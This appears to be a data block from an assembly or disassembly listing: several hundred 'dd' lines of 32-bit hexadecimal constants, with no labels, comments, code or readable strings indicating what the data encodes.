		dd 12B7DFA5h, 0B703A760h, 0F4175375h, 7EB3A16Eh, 50D6479Dh
		dd 0A6C33FFBh, 0DCE2627Ah, 3EA5D974h, 497EF6AAh, 0B46FA9FDh
		dd 0E98F3324h, 946928AAh, 0C2A2CA0Dh, 0E02B25AAh, 5869866Fh
		dd 0DAACAF30h, 0DC6180Eh, 52554C28h, 51291952h,	603EE1E4h
		dd 5D4B0D2h, 770A9139h,	479A8085h, 45236621h, 0E952AD2Bh
		dd 36637F99h, 1645BD59h, 697360F8h, 712F020Ch, 0C4A3FE7h
		dd 562C9B20h, 1E1C9AAFh, 707B1258h, 845F0C78h, 0A928D032h
		dd 616938F6h, 0CA85B250h, 992B5B18h, 5A790205h,	0F7484791h
		dd 8234C5Ch, 2EBDBDFBh,	0CA30ACE0h, 8ED0D575h, 3415415h
		dd 0D14ADA31h, 81F1417Ah, 0D6B25A88h, 0C1D7AD56h, 17CA594Bh
		dd 650DE7AFh, 26EC6288h, 0F954C4F2h, 4BB385A2h,	816D6E22h
		dd 5AB314ECh, 0F9E97880h, 1056F180h, 4BB377D1h,	11651983h
		dd 22B30769h, 14A0000Ch, 86E81243h, 5D3B310Eh, 6617ABEDh
		dd 0F5EDA912h, 504BB2D1h, 7D653954h, 57713625h,	5ACC2954h
		dd 681AFD4Ah, 8B97EEF2h, 0B7574AA1h, 731A584Bh,	0CBA87785h
		dd 0DE2B9151h, 0DF7C25BEh, 547C8789h, 92987998h, 8B787Bh
		dd 0C71BD2A6h, 0EEBEE2A7h, 78B652Bh, 0D57C6E66h, 1B88BC03h
		dd 6DCF6F2Ch, 5338CBE9h, 0D04BA534h, 8BAEE3ADh,	4095A28Dh
		dd 0C28CC835h, 0AAC1E04Bh, 0F8097FEDh, 5144F3FFh, 7EDDEAAEh
		dd 60014193h, 340845F7h, 5D779A44h, 9C3660Ah, 7897086Ah
		dd 74B157D4h, 0BEAE88Ah, 416E1C16h, 44923E84h, 1ACD9F04h
		dd 8AE82414h, 0E228F422h, 0C2D19D2Ah, 5D66BBE5h, 2D7FC374h
		dd 36D02C1Ch, 0F1DF66BDh, 0EFD785B1h, 673744AAh, 0D63BF5C1h
		dd 4555DD65h, 38EF68AEh, 0E269E4ABh, 62EE55FCh,	3B8DC796h
		dd 2AAA7085h, 0A448CDD2h, 8D51AD50h, 0E1666021h, 69EB4055h
		dd 98306E23h, 39AAED5h,	0AC71B515h, 0F942C4E4h,	149248E2h
		dd 8331C6CDh, 6FB526D6h, 0B0495555h, 0D1B4AE97h, 0B576C026h
		dd 0DBF1B089h, 217E8F0Fh
		dd 2DA8E762h, 4E06DF17h, 61B65488h, 74810371h, 6E0BB78Dh
		dd 19EDB658h, 2972405h,	0EDBC439Ah, 0ECB16F41h,	21804714h
		dd 2DA84AF8h, 0D9266E7h, 46335A31h, 2838ED14h, 460465D4h
		dd 54066CC5h, 0C05F91ADh, 143C9BB4h, 7ADA546Dh,	74AD3E60h
		dd 0E4B54421h, 0EF411D4Bh, 3CFF43EBh, 2A987024h, 0E1C09448h
		dd 23A32BAh, 9745740h, 3D8D44B6h, 74C31FFCh, 0B8EB3EA8h
		dd 0BAC00A5h, 65FA3A1Eh, 67AD46D0h, 0EBB029E8h,	1FA74302h
		dd 0D21B46Dh, 13B40Bh, 24D7BDF7h, 8796431Ah, 94AB06E1h
		dd 0A340CA1h, 3406038Bh, 0DB405032h, 8468D8B5h,	84458AD9h
		dd 2FCC621Ch, 79002Eh, 3B8F2733h, 0E701CC45h, 9C71FA5Ah
		dd 31B71B82h, 0BF7B31C4h, 41AEC77Fh, 0CD598C65h, 7316AF02h
		dd 0D2A441DDh, 0DA41A3A0h, 0BAE9F0A1h, 75A659CEh, 0D3F3202Fh
		dd 0D273594h, 0B22972CAh, 0CBD8B12Ah, 220418F5h, 0ADEB5EF0h
		dd 0F751CB6Ah, 30648A82h, 99C83E88h, 0F22BD122h, 96A2D1B1h
		dd 35352185h, 0D15D3D70h, 72EC65A5h, 9424D220h,	8FC237B0h
		dd 0D20517D6h, 20B4C4EEh, 5666F7BAh, 3E8BDA4Eh,	753521F8h
		dd 2CE0F2BDh, 48C469FBh, 140192B0h, 1D639DDAh, 0B688B40h
		dd 0C8BF73D5h, 577794EEh, 0A0A19869h, 0AA303FB3h, 3C6C328Eh
		dd 2F9FB833h, 7E1024C0h, 1C49E653h, 7412F88Ah, 82304119h
		dd 0B815474Eh, 6860EE3Dh, 10D656C4h, 28664A44h,	9482AB4h
		dd 0FF932301h, 328FA3FCh, 46318682h, 4713F3E6h,	23BF7CFBh
		dd 7F9E5340h, 0F3683516h, 0BD4D146Ah, 3847FEE6h, 6AB4FE1Fh
		dd 701F03C6h, 0BCA13477h, 0AAB9206h, 0FCAEF85Ah, 5C8509A3h
		dd 0B2A7F2BBh, 0ABB515C3h, 573056DDh, 5CE59D57h, 3D8657Ch
		dd 5EEA7074h, 3C482BBh,	32AC5DADh, 2E70AAB9h, 1400AED9h
		dd 5CA3932Fh, 72EFF655h, 39DC7040h, 198EB2DDh, 3C16DC14h
		dd 18FC530h, 0C8B4AB4Ah, 0DF15CB9Ah, 2196F13Fh,	31717644h
		dd 7EA39E00h, 357FB00Eh, 20C19895h, 79CA04E5h, 657CE975h
		dd 0D8CB7397h, 0E4482B67h, 1EC22F1Fh, 0B17B4409h, 12BB4051h
		dd 8A5BDD00h, 0F594E8D9h, 0E8249857h, 69048C23h, 6A86D5C1h
		dd 805A83D5h, 0A45826BBh, 2260479Ah, 6A80E496h,	0D05D150Fh
		dd 59BC3EA9h, 80C522CBh, 0CC54628Bh, 88EA8062h,	2380E730h
		dd 71BD55C1h, 209A4717h, 4CE2816Fh, 4EBF6811h, 0B0773808h
		dd 0ABFF44E1h, 0EECE71EEh, 54B6F6AAh, 0D07DB3F8h, 0A03B35B3h
		dd 0A4A2A0Fh, 9928D888h, 0E05DBFC5h, 0D474D9Bh,	43D7C6D2h
		dd 8A75551Dh, 0D055DF47h, 0D6B9DF9Ah, 2EE1D7ADh, 7DCF2897h
		dd 853E6751h, 0E83DBB7Ch, 0EB6003D9h, 0B18E7D98h, 62EE980Ah
		dd 408139CFh, 0F2112657h, 0F62B59F4h, 1E057872h, 4DAAAF73h
		dd 205FD6E1h, 195ABF1h,	718A7BD8h, 0E04AC6F6h, 1CB47D34h
		dd 5B175D63h, 4C6C02EDh, 7E7DF85Ch, 699D2988h, 0F2B95DD8h
		dd 2B075E70h, 9BAD024Dh, 0CAB8D55Bh, 1767549Ah,	0B639A04Eh
		dd 0C1F2A477h, 0AB418154h, 0CCFAFFEEh, 2328B3CEh, 94C13140h
		dd 17F14A58h, 0BF4A528Fh, 12D4645Fh, 90CD5409h,	0B6EAF39h
		dd 0BAEBF7F8h, 30B2B0DAh, 43014325h, 0C26EAD7Dh, 8A278620h
		dd 79764412h, 0D8559145h, 0EFDB9DF0h, 0B039C8C3h, 867A8038h
		dd 9FA5104Ch, 5F1EED0Fh, 0A4144129h, 0BACFE92Eh, 0BDEB8514h
		dd 0DB203703h, 2B928A0Fh, 93B3A081h, 8856255Dh,	0F5F4D64Dh
		dd 43A368A6h, 97D30FB3h, 6EAE6E18h, 4F1021B1h, 80213F23h
		dd 46BFFC29h, 85A65F27h, 0C17C241Bh, 0AF0AFFCh,	6258B72Bh
		dd 0CBACBB72h, 8BE1472Bh, 0A0416687h, 15DAF6Bh,	38D64E67h
		dd 568875ECh, 50B273BFh, 0EAB983DDh, 0A8BD4B2Ah, 330368B3h
		dd 0D4D78FF7h, 0BA9564C1h, 93C7954h, 0B4248472h, 7436854h
		dd 0DB96BA3Bh, 998B26D7h, 32FB3B92h, 29DCC18Dh,	3E0F0266h
		dd 0E21DF865h, 4051E08Eh, 0F475636h, 8B45AD3Eh,	0BE076B20h
		dd 0FC5F495Eh, 9CC05B17h, 0ED179D4Ch, 0E0F93D4Dh, 7FE5EE14h
		dd 0F1229BDCh, 3CD094C0h, 31160C21h, 62E93B93h,	0A90C0F68h
		dd 1F05D92Fh, 277CD148h, 798D432Fh, 25B364E8h, 14E2F2F0h
		dd 0B1A943Eh, 7598398h,	0B5948494h, 9BFBD7E1h, 68BA08D7h
		dd 281281D2h, 46FFF15Eh, 7C71AED3h, 10FF58BBh, 0E3A09BE0h
		dd 6CDC9087h, 0B7E2ABEDh, 2A37EFAAh, 80A38A7Fh,	0E15511BAh
		dd 47A4D576h, 1E5CE5D5h, 11F56E4Eh, 0E7635E21h,	0E46710C6h
		dd 0B65E09A1h, 6714E189h, 1A06C823h, 41AEE2CFh,	0F01FD340h
		dd 0DED629C4h, 0DB97C314h, 6705E1A2h, 2540D6A1h, 0A742AB5Fh
		dd 1D59C362h, 7653A665h, 14BA4075h, 4CBD6752h, 8EAA9B8Dh
		dd 0FB855AACh, 0C2AA6923h, 8D924D0Fh, 54EAFB1Dh, 0EF2B49DDh
		dd 78405B93h, 2FE325E2h, 0AEEBFE9h, 1F4FC065h, 0EDD7CE8Fh
		dd 0A94575h, 0BE772D13h, 7EB5575Eh, 3491B98Ch, 50AE013Dh
		dd 0ACAE945Ah, 4A11A890h, 3558B956h, 0C0BE69DCh, 48507EBAh
		dd 0CA7E7C3Fh, 2F0142EDh, 351AD04Ch, 1630B36Eh,	5F71180Bh
		dd 9291F18Ch, 0E5F2703h, 0A7416C2Fh, 0CCBF9F4h,	0BA40B99h
		dd 9CA4C4D9h, 30B448D9h, 0D60ED408h, 5C8E8B85h,	8BA31431h
		dd 8998260Dh, 0AC582FE7h, 0B1039A03h, 1D80E06Ah, 18161C4Ah
		dd 0B845FC1h, 14C13ED4h, 63600AEBh, 562EA05Ch, 34083EB8h
		dd 348B102Dh, 0B4BF203Bh, 0AAF02FB7h, 1B1B5945h, 0D1B0FDB4h
		dd 0CDDE48DFh, 81207F98h, 5636065Bh, 0A11B03C8h, 7064F3BFh
		dd 8311FFA2h, 0AAFC0AAFh, 0BE3F82BDh, 0A7FFACB3h, 0F1C0E442h
		dd 73FFBABAh, 0DCE6E977h, 0BACB933Eh, 39B3BB08h, 371C8796h
		dd 5C12A980h, 757B8C59h, 2FB36F9Ch, 5FEB709Ch, 82E1B907h
		dd 29FF40E5h, 0C5BAFDDCh, 0F8BB5FD4h, 77FB27AAh, 0D8D9EC32h
		dd 8F21BACAh, 0E6B076F5h, 3FE9FF84h, 0BF5AD9Bh,	0AE68589Dh
		dd 0B4356497h, 15F0AFA8h, 342578A5h, 14047772h,	0D0481B9Dh
		dd 82710C59h, 0CEFE83A3h, 7C0A10A3h, 655B6D87h,	0C29AF4A5h
		dd 0AFBEE65h, 0C9568585h, 0A733FE9Bh, 794999FDh, 645E5A05h
		dd 0DA5DFA60h, 0CD209C7h, 5E46AAC0h, 1974FE34h,	0ABBEC242h
		dd 4AB2EE57h, 5F1D9686h, 0F257BEA6h, 11A8D9B8h,	17ABABAAh
		dd 613AA0C2h, 0EAF128B8h, 8728A20Ah, 74B8F8A1h,	0B5D35DABh
		dd 4612A16h, 5DA597BEh,	0AA37F088h, 2EA10C7Eh, 54AF51EBh
		dd 0C0DCA747h, 0D8279437h, 177576Fh, 0A21AA88Ah, 0F95BAE76h
		dd 448EF860h, 7AF7A421h, 3FFE6A2h, 0A203333Eh, 5E9383D8h
		dd 6FB18611h, 0BBF4A360h, 4698003Ah, 0FB82D449h, 7AC3AACAh
		dd 663BEE74h, 5053A2A2h, 0F4797C01h, 29948F83h,	290A705Eh
		dd 0D607544Ch, 9494291Ch, 51063309h, 8BF4CDCCh,	9056D421h
		dd 0BAFD2D6Ah, 9DC9438h, 7C6C23B3h, 646C6E9h, 7645B0C0h
		dd 30BF656Dh, 0FE1E5493h, 1BFF6399h, 605A36B9h,	479E2FEh
		dd 5C2052D3h, 592AF0DBh, 0D4842021h, 4551C42Ah,	9903C812h
		dd 5114DA4Eh, 0BF8248AAh, 47EED9D4h, 171258C2h,	0F05A0A1Dh
		dd 0AB27974Bh, 60689748h, 8AB12B76h, 0E132D054h, 54760AB6h
		dd 41D20C91h, 1AD7CBA6h, 24212AD2h, 0C5D2281Ah,	0D4940288h
		dd 45512A8Eh, 990AC84Ah, 3B41DA50h, 691548AAh, 1194D321h
		dd 5114D6Fh, 551D4862h,	24688BA4h, 51DBB730h, 24396A45h
		dd 0ED7730C4h, 914622A8h, 0A9234C28h, 288990D6h, 18A54410h
		dd 5A52592Eh, 48AB5939h, 42139911h, 154710ABh, 51A2249h
		dd 56906F3Ch, 40512691h
		dd 1444D6E1h, 0B52A2288h, 0D9940240h, 4558C9CAh, 0F099C8AAh
		dd 0AA3B855Ah, 22E91648h, 0D6955D3h, 61021569h,	0D22A9234h
		dd 94C888C5h, 51DB8ED0h, 0FF75CA45h, 4692D10Eh,	0CAADE0E8h
		dd 4C6D2A8Eh, 21AD3508h, 891C22ADh, 0D2E4A222h,	8AB140A5h
		dd 59759174h, 0AC756EC0h, 0E960BE83h, 915422A8h, 0A51F4A3Ch
		dd 423F74A1h, 503E48ABh, 54AF5D64h, 270F113Eh, 9D50F53Bh
		dd 0C727C1E1h, 5C32EC3Bh, 0A700CF34h, 4DEC30FDh, 405E0332h
		dd 953B8F93h, 150F071Eh, 0A2527C33h, 138F24EEh,	124E971h
		dd 0A2F49006h, 58DAACB8h, 0F909138h, 46E7A449h,	0A5519AF5h
		dd 9799CA0Eh, 0E99BD370h, 915422A8h, 73AE4BCEh,	4215565Bh
		dd 0D3CFCEFBh, 5F5A0F45h, 0C56E29DDh, 0E9F00F0Eh, 92137CA2h
		dd 2A865053h, 94555F49h, 96A63B6Eh, 24AB8876h, 43137A84h
		dd 156810ABh, 3FF93D69h, 0A090FD6Fh, 7D4C13D8h,	0AADB52E9h
		dd 37B534C9h, 42ADFFF2h, 0F72422ACh, 0AFA99E4Ch, 8AB4551Dh
		dd 611B9EF4h, 44507EB5h, 4C13E081h, 1547D23Bh, 82143E29h
		dd 0BDDF6269h, 9A45551Dh, 5B93D46Fh, 0FA205A3Fh, 9806FD44h
		dd 0AB2751C6h, 133E0314h, 62152B68h, 61B4A915h,	0B5796BFAh
		dd 91568AA3h, 9CA333EEh, 28A090D6h, 91DA7E10h, 0A7E5FA86h
		dd 42AD22C9h, 237E22ACh, 8EDCF0FEh, 0DA45922Ah,	5B55F4CFh
		dd 2C815A3Fh, 0BD30FC44h, 11E34BA5h, 0B361D246h, 0A455472Eh
		dd 8DA51DFEh, 0AA5186FCh, 0E904FE48h, 0F5C734DAh, 342DC59Bh
		dd 2BE050A0h, 0C955492Bh, 3E6BB40Dh, 848ECEC3h,	0FAB21B4Ch
		dd 0A80C6175h, 0D40A03CBh, 0F1A0D6DCh, 2E344710h, 0FF07516Ch
		dd 0E4738ECEh, 87CE0383h, 9F3CD718h, 6ED3E263h,	765BC43Eh
		dd 0DFB41CFDh, 5110BB2h, 0ED6E4F3Ah, 0D04A4348h, 0CBB164D3h
		dd 3531A192h, 25B80AB5h, 67EDE013h, 0F7C84769h,	0F40A3668h
		dd 91DB3A31h, 46F62286h, 0A9BEBFFAh, 0F6773C03h, 347BFD27h
		dd 0F489F49Bh, 0A228E5E3h, 0AA09EF40h, 8075691Dh, 0A4FE9F07h
		dd 936625FFh, 0F49C877Eh, 7FF58F7Ch, 511FF77h, 0EDC10F9Ah
		dd 7D124348h, 0F3F2FCA3h, 0E5367801h, 0CAD08AA7h, 3C7D68F7h
		dd 0F37A4AA8h, 4264D028h, 8A671778h, 1D48E569h,	3FBDE1E0h
		dd 0D9A487E5h, 5F84FF84h, 5161F39h, 48ED4FDAh, 0D3F8CCE3h
		dd 310FA264h, 0C781F00Eh, 7CB09814h, 1BCDF988h,	3B09263Ch
		dd 8D01EF9h, 0BE17A48h,	0FE3C1E13h, 0E70608BCh,	28D62FA2h
		dd 476F7890h, 1BC62A1Ah, 0A7438FDDh, 0DAFFF16Eh, 0D62FEE9Fh
		dd 9568BA6Ch, 814498A0h, 3B58F3CCh, 0EF1650D2h,	7EE8933Ch
		dd 888EEA50h, 0BA29A65Bh, 0FDCFD20Fh, 4F529668h, 4348D954h
		dd 2ABC0511h, 10F9EDD3h, 0F16F73A3h, 0AA6CB22Ah, 96C4E644h
		dd 511D1EFh, 0ED446F72h, 73A34348h, 232A2ABCh, 0E40810F9h
		dd 0D1EFF16Fh, 0AA27AA6Ch, 88A19DDFh, 0DAFDC902h, 74625476h
		dd 9F57578Eh, 2E7F1F32h, 0A3DF8B7Fh, 0C69054D9h, 621729C8h
		dd 3B4928F0h, 0E2DD48AAh, 109F44EDh, 0A3B7C823h, 8DF9848Ah
		dd 486B8FE8h, 889F48ABh, 2D996FBEh, 0DB2DA40Ah,	39D1C691h
		dd 0BAFDF45Eh, 0FC35887Ch, 9A3D1E2Dh, 9599F44Dh, 0F156F25Eh
		dd 9FC2A40Fh, 0FD00910Ah, 30331E5Bh, 0ADFBA5E4h, 43400103h
		dd 0C11F4179h, 0EFECC489h, 0C21AE094h, 5562C353h, 476E0514h
		dd 0A11BE915h, 16A687CDh, 9FD8C4F2h, 6CD8BFE6h,	9095EF9Ah
		dd 0CA81CF96h, 0F8D26903h, 7E6B4700h, 3C003B50h, 790BCF5Ah
		dd 7453B9F3h, 68FDF0C1h, 0B44F3706h, 0D1366ED1h, 1D8A4DD3h
		dd 0F524AB27h, 177EDCFAh, 0C89756D9h, 0F2E07BFCh, 68F7790Bh
		dd 37B55D36h, 0A228CA5Ah, 0A46541E0h, 0FF20691Dh, 42FCDF9Eh
		dd 536645DEh, 0DE7CF0FCh, 20518F7Ch, 2E91510Bh,	0C9FC63D6h
		dd 3F2E5476h, 90FF5F9Fh, 14D95F17h, 25882A3Fh, 0A39A41Fh
		dd 91DADF54h, 7E7B25C6h, 0FC1309F1h, 0F0E7FCF1h, 0BF466621h
		dd 0CEFCC179h, 28148F7Ch, 23B5113Fh, 0FCF7450Dh, 0E0F2D7E0h
		dd 0CFE0F86Bh, 7BE417E4h, 0F2339B34h, 9DD73BE0h, 309CC5F0h
		dd 0C59F84D5h, 6A6CA04Dh, 0D5765E35h, 0E8A220A5h, 0E10EF817h
		dd 142E2D2Bh, 3DAB9F01h, 504205A5h, 5588A042h, 899006ACh
		dd 0A3B655B9h, 685248Ah, 0F5F5AD32h, 15EB38AAh,	0B2869B04h
		dd 229FEF9Fh, 0D0A89F2h, 0ED4B5D6Dh, 0A715F30Eh, 9923681Ch
		dd 994EF5E7h, 3E8BD240h, 6A062A3Bh, 9142CBA9h, 0EEB2205Ch
		dd 50581208h, 0DDD0DD5Dh, 37E039C2h, 3A8708EDh,	851421C0h
		dd 0A94C878Eh, 25B61064h, 95DF52A9h, 0E121DD21h, 212621A1h
		dd 9449C3E3h, 597D4A0Ch, 7DEA299Ah, 0A1ACA17h, 1084183Eh
		dd 3FFC4E2Ah, 0C042BD1Fh, 0E770AA6Fh, 78022A95h, 41C38567h
		dd 0FB6D1650h, 0C8F7110h, 0A973D0E5h, 455F5923h, 0BF051805h
		dd 0ABA18D0Fh, 453D7AFh, 0B071AC54h, 12EB0A2Bh,	0BFB04E61h
		dd 9230EF82h, 0E03BB5A4h, 95F3F62h, 0C1AA6CCh, 0CF84A07Dh
		dd 4D49C184h, 2C0D1810h, 84591809h, 744D3D1h, 90475CC3h
		dd 7724C8C7h, 301D0121h, 0A1B8311h, 0D5410203h,	54A09CD5h
		dd 51FEE066h, 0A8B73860h, 0D51045BFh, 232BF13Ah, 0ECFBB478h
		dd 7610EBC7h, 0EFBF9F45h, 9B2D58D4h, 0C75D0FCAh, 771EC7BAh
		dd 0CEC7D4h, 14E41AAEh,	0D4CBE3EFh, 94EA1AF5h, 1DD64F67h
		dd 0C8E11918h, 5AB370FFh, 0FF2A28F7h, 208289BEh, 0F0076053h
		dd 178B2145h, 307EE5D2h, 0EBAFB9FFh, 338E849h, 7A2B93D7h
		dd 2BA029Ch, 0D49CFE97h, 1758A055h, 0AE72DF7Ch,	0AFAB854Eh
		dd 6D1F6BC8h, 177DB90Ch, 5A8F73CDh, 8D0D94A9h, 0B1C7A340h
		dd 9E190628h, 0E0217FD5h, 0D490692Eh, 0DF3B5F40h, 8D362634h
		dd 80A9D70Bh, 5D0D97F5h, 84CFDF2Dh, 372A6BA4h, 4A4ECD8Bh
		dd 99E44EF2h, 0CB53CDB5h, 0F1A6BBC0h, 7DA4B55h,	107FA295h
		dd 6508551Bh, 8F4238Fh,	0D83D305Bh, 3FF912EFh, 462FADDDh
		dd 8D7FA40Ah, 0F0FAF174h, 0C44C2B2h, 0C0A101Eh,	496663D7h
		dd 0AEF9E6FAh, 0C601D6B2h, 2121D19Ch, 22BC71FCh, 54658A38h
		dd 0DC841E5Ah, 5D6217FBh, 0D3FD29E2h, 0A1CAD81Fh, 172A95Ch
		dd 5DEB2512h, 0A5ABBA41h, 383FE271h, 0E531E2FFh, 4C78D412h
		dd 4864FBF6h, 88836077h, 0AC48AFA3h, 7F5B9AE3h,	90AF7A71h
		dd 1B0107A3h, 5CACAC75h, 63DD882h, 2D821F88h, 16583F38h
		dd 1EA203ABh, 0B62C5314h, 0FC30975Fh, 16F4616Bh, 0D2EB1982h
		dd 5750BFD9h, 429BE589h, 541D4268h, 0A303105Fh,	0FFD703B3h
		dd 7F10E34Eh, 91A16365h, 0E5A2FC16h, 8A452C0Fh,	0E79E9A3Eh
		dd 0CC5082E0h, 0D5F51E53h, 107D252Bh, 0CF3F11C0h, 5A891669h
		dd 0A867EFC7h, 0BB6022A3h, 8B94C36Fh, 2A09FF30h, 29CDA955h
		dd 0C8372657h, 7A6A011h, 0C2EBD1BAh, 1C2A909h, 64C2D94Fh
		dd 88005C80h, 4810EA39h, 2844E637h, 8F904043h, 6BDC02h
		dd 0E2A00461h, 15A323E8h, 51CACD6Eh, 858404Bh, 0BA7300C4h
		dd 68190A16h, 17AEB07Ch, 8DA441A4h, 4C1622Dh, 8840B166h
		dd 89A6443Eh, 0C489028h, 491645B2h, 1EB0360h, 8A62B846h
		dd 0F00210C8h, 0AD09C076h, 0AC253704h, 90925812h, 3BC9504Ah
		dd 8F2A8666h, 7985892Bh, 21042Ah, 954263Eh, 4255F602h
		dd 4552BE00h, 552F2FA2h, 71B0FC24h, 53D0E245h, 3FC3426Eh
		dd 0B32D3F81h, 0C01136D8h, 0CC49EA9Ah, 4481DC25h, 20D4E9A1h
		dd 8A3761A3h, 94D448C1h, 5B00F630h, 2C4C9282h, 6234C146h
		dd 0C9556DD2h, 488917C9h
		dd 0A243217Ah, 0C87F70FDh, 61CF7FADh, 0E0510786h, 739B4458h
		dd 94EFAAF0h, 430C314h,	84ADCACAh, 0CE46B292h, 85101269h
		dd 220B6Ch, 0B8810C6Dh,	0E016921h, 0B205A87Eh, 0D71A65DDh
		dd 0C9960F82h, 1189B226h, 3AEDF9A7h, 4520252Bh,	90CD7A0Bh
		dd 0AEC8CF7Ah, 36148862h, 5DB53147h, 340A5A7h, 3B150171h
		dd 0C65CA24Bh, 0D097671Dh, 7E8973C8h, 8202B004h, 4627F12h
		dd 0D251EC30h, 24548949h, 915B28Eh, 91540863h, 154A4A28h
		dd 54A1A209h, 4A081891h, 273C0915h, 0A809155h, 46B5093h
		dd 0AA9CD20h, 5C0D095Bh, 18F038F3h, 11E36D29h, 0A5E621A9h
		dd 86140A28h, 9967CAFEh, 3CE65175h, 0BAC6BF4Ah,	4B54FB08h
		dd 8998DE7Ah, 68FF5ABDh, 90802A20h, 3C057992h, 0CB9C885Dh
		dd 4915A8B0h, 0D6673989h, 0D7A86712h, 0A870C7D7h, 5BF03FD7h
		dd 2B5F1567h, 0E582AC86h, 421E704h, 0E46B0844h,	10700478h
		dd 8E0F8ABCh, 7FCFD7D4h, 8460D61h, 606A1E0Eh, 85D54006h
		dd 0F0A3BF58h, 56AFAAADh, 51E05595h, 0AC9960A8h, 88948EB2h
		dd 283EAF95h, 6B38FA48h, 0E8EAB821h, 8AC9471h, 7381B886h
		dd 4ECCAD45h, 0C2467056h, 48825B0Dh, 618C7B13h,	26817080h
		dd 0D582C2BDh, 5600AE86h, 57BA8C50h, 2B278209h,	0F8A34C50h
		dd 0CA32638Dh, 5AF8D5D1h, 0E5821187h, 18C255D8h, 695D8966h
		dd 0E0EF030h, 0CC9A7B65h, 74840EF2h, 30470289h,	0CCE5FFEEh
		dd 0DCE7D05Ch, 0C5912826h, 0BFB0905Dh, 0F6599C28h, 5D79DD17h
		dd 0E6B1BA19h, 0DC50A7Fh, 0B9810A75h, 267CBD16h, 5DAD6431h
		dd 0BF8C1895h, 0C8B27022h, 33DFC3FCh, 0B1B6E57Ch, 1FD295F7h
		dd 0BBCB679h, 949D876Eh, 373A0340h, 5520FD6Bh, 0A6A056E1h
		dd 0B42401B3h, 883E4288h, 281E2772h, 8B31963Ah,	17C633F8h
		dd 0BA52EBh, 3B2BD1A2h,	0E055513Ch, 0F330E0FEh,	7ACE0C6Ch
		dd 3B4332D0h, 9BE08E20h, 4AB8A389h, 0D914F8F0h,	0F6312BE8h
		dd 0B6CD9595h, 0EF50E576h, 431362ACh, 0D498C903h, 296192AAh
		dd 0EE17245Ah, 2D517EC1h, 7B876CF2h, 3AC88AC5h,	0EC38393h
		dd 634E4007h, 5682D04h,	0FDB163F0h, 0D4F610B5h,	1CA34CD0h
		dd 298BB959h, 266CB9F1h, 45DF03C7h, 31721551h, 88DF28D0h
		dd 2B347EFDh, 69A30004h, 85018700h, 0E27FF056h,	69A275E4h
		dd 0B00751A0h, 5763EADCh, 35951DDBh, 576F7080h,	0B782C022h
		dd 0A59B852Eh, 7F8497DBh, 3AA91995h, 72BB400Eh,	0A2D6E80h
		dd 2DA17001h, 9339B10Bh, 92090B6Dh, 0EB178F77h,	0D08BDAh
		dd 1265D023h, 80B89867h, 6D7229D8h, 40FE520Fh, 71700FDh
		dd 0B6015AAAh, 0A7017C63h, 8E807761h, 1A1F6333h, 0D8680C76h
		dd 73305E1h, 9D453A70h,	8131809h, 6C0D5F9Bh, 9658EAEh
		dd 9BC582AFh, 0A34E5E20h, 0FE45CF8h, 42DAA686h,	1ACD625h
		dd 852A566Dh, 7713BFE6h, 668A0EAEh, 0F5B5178Dh,	14C53BC8h
		dd 41910AE9h, 372A0463h, 0EBA640EBh, 4645BA40h,	7CA4BC0Ch
		dd 2A007AFBh, 8B9C2D7Ch, 0BD280CA6h, 360F9C5Fh,	0BEEB72B9h
		dd 0EB2A29D2h, 0CA2AAB22h, 5E4A9D6Fh, 8D592459h, 3F969728h
		dd 0AFBD4E47h, 56137CE0h, 8556B417h, 801E6022h,	82B0D925h
		dd 0A8F16B45h, 0C5D8A7CAh, 2DE5E037h, 767C12D4h, 0E8DE6548h
		dd 0F061FA28h, 0BC0244C1h, 0D9B3512h, 0FC29AEB2h, 0D7F1F537h
		dd 2A0D4006h, 0EFE14C5Ah, 7B19EA83h, 0FB6F3E5Fh, 634BCBF8h
		dd 0CD145C35h, 277150E6h, 1EF3487Bh, 0FB414E3Ah, 33A034D8h
		dd 200C7E0Dh, 38383BEFh, 0ABB9DD63h, 916B681Dh,	0BCBB50BEh
		dd 0E505451Bh, 97F44D93h, 0C0CAACD5h, 3C140627h, 85E43E2Ah
		dd 992567E9h, 153CC3F0h, 77235E7Bh, 8CE25F65h, 7C7527DFh
		dd 2F837237h, 0E10F0D64h, 0F7D7E9C2h, 419CF200h, 3D3327C5h
		dd 0B477E00Fh, 497B092Ah, 0AF943817h, 83070A8Bh, 0FC3C3802h
		dd 0A44D60B4h, 0BFE4703Bh, 98BA84F8h, 154446F5h, 0EAFFFB5Ah
		dd 13362B75h, 2D980DC9h, 90822062h, 8CF52904h, 22E70B93h
		dd 83B808B6h, 83316A9Ah, 62626EFDh, 0C0BCE983h,	0AD35EA71h
		dd 6D8BDD67h, 5BF0054Bh, 6A15832Ah, 0DCC2D458h,	0CB0A2E39h
		dd 0C7BE748Ah, 4B7AFD8Ah, 894CFC25h, 0F0F4300h,	3E2F9C4h
		dd 0C0055C63h, 88A35F4Ch, 3A4230E4h, 240F2834h,	5DA7B6EEh
		dd 0FC1C4958h, 0FD6D5060h, 628A64C9h, 55A85B46h, 0B950F110h
		dd 1128732Dh, 32D161E4h, 605340BEh, 92E8A787h, 40CDA654h
		dd 24A652DEh, 0A3BC8409h, 0A81BC86h, 36641F44h,	8A103084h
		dd 0A2B00558h, 0DF40350Dh, 0F4B15828h, 0C0E11B0Dh, 21D7FF1h
		dd 8142E414h, 0EFC21F02h, 4D18026Bh, 81F055E7h,	0F9C2C540h
		dd 6AF7D88Eh, 48990B0h,	62C10182h, 0B9C9A4B3h, 38A99460h
		dd 62057191h, 2A5D6F42h, 27E5EBC4h, 293B1C86h, 0C55B35C8h
		dd 0D18DE18Ah, 23451267h, 946AEFCFh, 0E454E20Ah, 94DC1899h
		dd 76D9B24Ah, 85371159h, 0F82A5FB3h, 0B8CAC98Bh, 684950DDh
		dd 1D4D9429h, 0F22B2045h, 0E8C6F95Dh, 9377274Bh, 1C477ED5h
		dd 0CC8C0EEBh, 29799924h, 0E89D514Dh, 0AEE90A91h, 89C4FCC2h
		dd 672CD603h, 0F75C7981h, 51F63568h, 0F184B2Ah,	0CA171BC2h
		dd 0E23F4BD7h, 3157CFE4h, 0E5F57590h, 0A169AD5Fh, 348C8B65h
		dd 3B46440Bh, 0AB2DDA9Ch, 9D36E672h, 6374E9A8h,	1165614Bh
		dd 44C0FBE3h, 88502AADh, 6402D659h, 0F6E91DCDh,	35D24113h
		dd 9758088Bh, 7990808Ah, 5F66432Bh, 248F5B33h, 5DEAB1CBh
		dd 6676C7A1h, 21C1290Ch, 697D7531h, 0F7DA561Ah,	0A03A6597h
		dd 40528D0Ch, 0EB2BE95Eh, 25CCA67Ch, 0F1D9ED2Eh, 4E40C6Fh
